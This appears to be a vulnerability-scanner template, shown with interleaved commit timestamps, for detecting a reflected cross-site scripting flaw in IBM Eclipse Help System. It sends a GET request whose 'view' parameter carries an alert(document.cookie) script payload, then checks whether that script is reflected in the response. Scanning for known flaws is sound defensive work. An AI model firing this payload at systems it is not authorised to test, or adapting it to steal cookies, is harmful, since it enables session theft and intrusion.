2020-08-30 05:05:28 +00:00
id : eclipse-help-system-xss
info :
2022-09-21 21:42:27 +00:00
name : IBM Eclipse Help System - Cross-Site Scripting
2020-08-30 05:05:28 +00:00
author : pikpikcu
2022-09-21 21:42:27 +00:00
severity : high
description : IBM Eclipse Help System 6.1.0 through 6.1.0.6, 6.1.5 through 6.1.5.3, 7.0 through 7.0.0.2, and 8.0 prior to 8.0.0.1 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
reference : https://packetstormsecurity.com/files/131924/IBM-Eclipse-Help-System-IEHS-Cross-Site-Scripting.html
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : ibm,xss
2020-08-30 05:08:28 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-08-30 05:05:28 +00:00
- method : GET
path :
2020-09-03 15:56:31 +00:00
- "{{BaseURL}}/help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E"
2023-10-14 11:27:55 +00:00
2020-08-30 05:05:28 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2023-10-14 11:27:55 +00:00
2020-08-30 05:05:28 +00:00
- type : word
words :
- "<script>alert(document.cookie)</script>"
part : body
2023-10-14 11:27:55 +00:00
2020-12-13 19:24:23 +00:00
- type : word
words :
- "text/html"
2022-09-09 17:34:37 +00:00
part : header
